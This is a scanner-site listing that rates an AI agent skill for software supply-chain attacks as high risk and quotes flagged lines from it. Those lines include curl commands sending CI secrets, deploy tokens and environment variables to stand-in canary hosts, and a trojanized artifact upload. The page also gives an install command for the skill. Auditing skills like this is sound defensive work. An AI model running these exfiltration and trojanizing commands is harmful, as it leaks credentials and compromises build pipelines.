← All skills
offensive-supply-chain
45 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a devops skill usually runs commands, installs tools and uses cloud credentials.
By SnailSploit/Claude-Red (GitHub) · devops · 10,590 stars · scanned at commit a8de813
Comprehensive offensive methodology for software supply chain attacks covering the full kill chain from reconnaissance through exploitation. Addresses dependency confusion across npm, PyPI, and NuGet ecosystems where internal registry override allows an attacker to inject malicious packages that shadow private dependencies. Covers typosquatting techniques for popular packages, compromised package injection via maintainer account takeover or social engineering, and build system attacks through M…
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a devops skill.
Found in 14 places.
Show 11 more
- Skills/supply-chain/offensive-supply-chain/SKILL.md, line 137
go install github.com/visma-prodsec/confused@latest - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 159
target="requests" - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 339
aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 350
env | grep -iE '(token|secret|key|pass|api)' | \ - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 384
docker pull myapp/backend # resolves to docker.io/myapp/backend - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 397
docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2 - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 411
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 \ - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 425
echo $SIGNING_KEY - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 442
npm view lodash maintainers - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 453
git checkout -b patch-perf-improvement - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 495
confused -l npm package-lock.json 2>&1 | grep "could be"
Sends data to these websites: registry.npmjs.org, your-canary.oastify.com, pypi.org, api.nuget.org, canary.example.com, releases.example.com
The author does not mention this. Expected for a devops skill.
Found in 16 places.
Show 13 more
- Skills/supply-chain/offensive-supply-chain/SKILL.md, line 93
import os, socket, urllib.request - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 100
urllib.request.urlopen( - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 128
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \ - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 173
import urllib.request, socket - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 179
urllib.request.urlopen(f"https://canary.example.com/typo-{h}") - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 218
@curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1 - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 234
import urllib.request, socket - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 235
urllib.request.urlopen( - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 293
const req = https.request({ - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 330
curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}" \ - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 342
curl -s https://releases.example.com/app-latest.tar.gz.sha256 - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 352
curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)" - Skills/supply-chain/offensive-supply-chain/SKILL.md, line 372
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh && \
Downloads and installs other software
The author does not mention this. Expected for a devops skill.
Found in 2 places.
Changes files outside its own folder
The author does not mention this.
Found in 3 places.
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this. Expected for a devops skill.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (devops) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'offensive-supply-chain' ] || [ -L ~/.agents/skills/'offensive-supply-chain' ]; then echo 'A skill folder named offensive-supply-chain already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/supply-chain/offensive-supply-chain' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/supply-chain/offensive-supply-chain' ~/.agents/skills/'offensive-supply-chain' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-supply-chain' ~/.claude/skills/'offensive-supply-chain' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | a8de813 | 45 |
| 2026-11-07 | a8de813 | 45 |